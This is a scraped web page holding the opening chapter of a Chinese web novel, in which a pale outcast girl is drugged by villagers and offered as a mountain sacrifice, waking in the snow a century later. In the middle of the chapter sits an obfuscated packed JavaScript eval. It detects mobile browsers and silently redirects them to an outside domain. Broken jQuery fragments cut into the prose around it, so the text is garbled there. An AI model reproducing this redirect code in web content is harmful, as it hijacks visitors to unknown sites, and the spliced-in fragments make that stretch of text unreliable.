默认冷灰
24号文字
方正启体

1. 祭品孤醒,冰巅孑影

作者:瓜田老猹本书字数:K更新时间:
    干完活回来的时候,太阳已经落下。


    吊在房梁上的锅里飘出淡淡的香气,让饥饿的肚腹一阵轰鸣,锅里杂草煮成的糊糊,颜色混浊地让人倒胃口。


    尚存的一丝洁癖哀求我不要多想,更不要吃锅里的东西。


    我赶紧进到屋子里,匆匆扒开了手上凝固住的泥块,露出泥块里小心带回来的野薯。


    加起来只有一个巴掌大,足够减肥时期的一顿晚饭,估摸着热量在200kcal左右,还不够跳半小时刘畊宏的。


    形容枯槁的中年女人靠坐在草席旁,神情是这里人惯有的忧愁,只是还要再深一些。


    我递给她作为母亲的一份,不知道为什么,她并没有接。


    不远处的小儿并不理会我们,他自顾自地舀着锅里的东西吃得欢快,发出唏哩呼噜的声音。


    说也奇怪,他吃了糊糊一点事也没有,而我吃了便会躲到树丛里半天起不来身。


    破屋中女人的目光,慢慢地框在了我身上,干涸的嘴唇开裂。


    “阿奈,你托人去问了吗?”


    “问过了还是没有消息。”


    听到这句话,女人便像暴晒过的稻草似的猛烈咳嗽起来,声音簌簌回荡在破屋里,震得连在余晖中飘荡的灰尘都飞舞起来。这灰尘飞扬了一会儿,便晃悠悠下落直奔着黑土地去了,我苦中作乐地看了一会儿,吃掉了自己的那份野薯,烧灼的胃稍被安抚。


    在一声接一声叹息中,女人的脸色彻底衰败下去。


    她的丈夫是个猎户,半月前进山,遇上山洪,再没回来。眼泪早已流干,只剩下这具日渐枯萎的躯壳和一声声喘不上气的哀叹。


    自打女人嫁来,先为猎户生了一个女,又生了一个儿,转眼五年过去,猎户老了,他零星的皮草换不到粮食,打来的肉食也越来越小,情况一天比一天差。


    土地减产,天灾频发,猎户的身体愈发老病。


    可要吃饭的嘴却多了两张,要吃的东西只会越来越多,现在,猎户也没了。


    她的脸愁苦地揪了起来,她还有一个不会说话的小儿,她得养大他,今后的生活才有保障。


    这时候,她想起了白天村老对她单独说过的话。


    干涩的眼转向她们话里谈论的对象,村老的话就仿佛响在耳边。


    “你看看她,和你们长得一点都不一样。”


    凭着这句话她又生出些许勇气细细打量着眼前的女儿,沉甸的心里略有丝松快。


    是了,对了,不只是她这么想,村里人都这么觉得。


    不一样,真的很不一样。


    黑不见底的眼。


    细高枯瘦的手脚。


    口齿怪异的腔调。


    没有表情的脸。


    唯一值得一说的地方是白,可那是属于贵人们的肤色。


    不该在他们这样卑贱出身中出现。


    女人隐秘地数落着,却在数落后瑟缩地躲进了更窄小的角落里。


    明明出生时只是黑得不明显,可是随着长大,越来越白,白像泥塑雕像,像山里的精怪,白得不像是猎户的种,不是她一个黝黑妇人能生出来的女孩。


    她根本就不是,她不是,她就该……


    她要回家,她要带着唯一的孩子回到原来的村子。


    答应他们!


    极大的呼喝声从她胸中响动起来,女人喃喃自语,枯瘦的手指死死攥着身下的草席,话卡在喉咙里,变成一声受惊动物般的呜咽。


    我起身想去门口水缸给她舀瓢水,她却像见了鬼一样猛地弹开。


    “别过来!怪物!走开!啊啊啊——!”


    她打翻水瓢,疯了一样冲进门外浓得化不开的黑夜里。我追到门口,望着吞噬一切的黑暗,收回了脚步。


    那一夜,我靠在冰冷的土墙边,听着弟弟均匀的呼吸,预感有什么东西碎了,再也拼不回去。


    天刚蒙蒙亮,预感应验了。


    几个粗壮的男人闯进来,轻而易举地反剪了我的双手。一碗浑浊涩麻的汤药被硬灌进喉咙,身体很快就不再听我使唤,连舌头都僵直得发不出一个音。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16412018|184631||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他们为我套上一件质地滑腻却陌生的丝制长衣,又将我的头发浸入气味浓重的香油中;一串串冰冷的玉石接连不断地垂挂在我的颈间,压入肌肤。瓜果与干瘪的面饼被整齐地码放在我的身旁。


    透过模糊的视线,我看到“母亲”走上前,颤抖着在我发间簪了一朵艳的红花,然后迅速别开脸,不敢再看我一眼。


    我被抬上简陋的架子。男人们吭哧吭哧地抬着,女人们围着我又唱又跳,状若疯癫。


    领头的村老挥舞着木杖,口中念念有词,每一次落下都重重击打在舞动的人群脊背之上,但他们无人敢停。


    队伍向着那座云雾缭绕的山巅行进。


    我的心变得湿冷,唯有怒火在胸中翻覆。


    可震耳欲聋的唱祷声顷刻淹没了我的神智。


    众人踏地为节,石斧击响,声动山林。


    “歂欶!”


    巫祝高举起黑陶酒鬶,泼洒粟浆于黄土之上,


    “山徳祇承,贳我贪愆——”


    八佾舞者纷纷俯身叩首,朱砂涂面,赤如鲜血。


    “歂欶!”


    玉圭被献于柴垛,青烟倏然升腾,直贯天穹,


    “岳灵飨祀,畀我丰穰——”


    献牲沉璧,玄鼍鼓声低沉而撼动大地。


    “歂欶!”


    童巫执羽旄环绕祭坛三周,


    “祖峩永镇,祐此四方——”


    众人齐举石钺向天狂吼,吼声撕裂层云。


    喧嚣的祈愿声和身体的麻木感交织在一起,世界在我眼前晃动、模糊。


    最后的感觉,是冰凉的雪粒崩落在脸颊上。


    歌声不知何时止歇。


    抬我的人,跳舞的人,全都消失了。


    死一样的寂静裹挟着刺骨的寒冷,从四面八方涌来。


    我在不绝于耳的呼号与原民舞动中昏睡,不知昼夜交替、岁月几何。


    山顶长年积雪,当我再次感受到皮肤上雪点的冷意时,呼号声早已停止百年。


    人们不知所踪。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)